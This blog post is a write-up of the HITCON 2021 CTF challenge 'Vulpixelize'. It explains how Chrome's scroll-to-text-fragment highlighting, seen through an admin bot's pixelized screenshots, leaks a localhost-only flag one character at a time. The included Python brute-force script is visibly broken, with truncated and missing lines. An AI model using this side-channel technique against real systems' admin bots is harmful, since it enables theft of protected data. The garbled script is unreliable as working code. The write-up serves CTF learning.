Monday, December 13, 2021

Hitcon 2021' CTF - Vulpixelize

Vulpixelize Writeup

In this challenge –

we are given docker webserver with the following files:

1.      Dockerfile

2.      Simple Flask webserver with the following endpoints –

a.      GET /

b.     GET /submit

c.      GET /flag

3.      Selenium admin that initializes chrome-driver for automations

From the code it's easy to understand that we have :

1.      We can submit URL for the admin to inspect

2.      The flag is accessible only for admin from localhost:


def flag():

    if request.remote_addr == '':

        return message(FLAG)

    return message("allow only from local")

3. When admin (the selenium' chrome-driver) gets our url it inspects it & return us pixelized snapshot of the resulting web-page, For Example, if we gave him

The picture is pixelized and sensitive data is actually omitted


Attack Surface & Ideas

We would like to get the flag of-course, for that, let's just make the admin GET /flag, right?

Placing http://localhost:8000/flag (which is the open port in the localhost domain) we receive: 


Yes yes!! That flag is here! But wait a second, it's pixelized so we can't really see a thing, damn…


1.      Put it inside an iframe, make the font of sub-iframe bigger / rescale iframe / zoom into it somehow.

a.      Style seemed to doesn’t affect, both the style of parent html / and the style setup for the

iframe itself didn't really seemed to be that helpful.. merd..

2.      XSS in the localhost:8000 website would work for sure, just need to find some way I guess?

a.      No template/other simplest xss injections seems like falsk was used correctly..


Scroll To Text Fragments

But, wait a second – let's STTF it up!

Scroll To Text Fragements –

1.      In chrome, whenever link ends with #:~:text=<TEXT>

2.      The TEXT quoted will be markered-up inside the page itself!

For example – 

You can now see the marked up text in the wiki page, this is the text fragment placed after "text="

in the browser address bar.

Now, before you continue to read – try to think how to break that challenge with that?

Hint – The flag format given to us is: hitcon{HEXCHAR- HEXCHAR…- HEXCHAR}




Oh yes –

1.      We know that the flag will be something like this – "hitcon{HEXCHAR- HEXCHAR…- HEXCHAR}"

2.      Now, let's place the following url and give it to admin –http://localhost:8000/flag#:~:text=hitcon{


Yes it is, we can see here our flag marked!

The next thing we can do is the following:

1.      We can try "letter by letter" approach to get the flag.

2.      Try "hitcon{1", "hitcon{2", "hitcon{3", … until matched.

3.      Add char found to the prefix looked for and try again with the next letter, aka "hitcon{1-"..

This solved the challenge completely, using only STTF, no XSS or any other vuln. Cool 😊


import requests
import urllib.parse
import re

from PIL import Image

base_path =
url = '/submit?url=http%3A%2F%2Flocalhost%3A8000%2Fflag%23%3A~%3Atext%3D{TRY}'

# Run query
MD5_LEN = 32
HEX_CHARS = '0123456789abcdef'
cur_chars = 'hitcon{'
for i in range(MD5_LEN):
    pic_path =
got_char = None
        cur_try = urllib.parse.quote(cur_chars + c)
print(base_path + url.format(TRY=cur_try))
        r = requests.get(base_path + url.format(
if 'static/images' not in r.text:
print('[+] Didn\'t got any picture for %s' % cur_try)
# Get response picture -
regexp = 'static/images/[0-9a-z]*\.png'
regres = re.findall(regexp, r.text)
if not regres:
print('[+] Didn\'t got any picture for %s, by the regexp - ' % cur_try)
pic_url = base_path + '/' + regres[0]
        r = requests.get(pic_url)
if not r.content:
print('[+] Couldnt get the picture... ', pic_url)
open(pic_path, 'wb').write(r.content)
        img =
# If brightness is big enough - then we were markered up and we were kinda correct.
if (img.getpixel((467, 336))[0] >= 200):
print('Found the next char! ', c)
            got_char = c
    if not
print('Didn\'t found any char... exiting...')
        cur_chars += got_char +



And The Flag:




Hitcon 2021' CTF - Vulpixelize

Vulpixelize Writeup In this challenge – we are given docker webserver with the following files: 1.       Dockerfile 2.       Simple Flask we...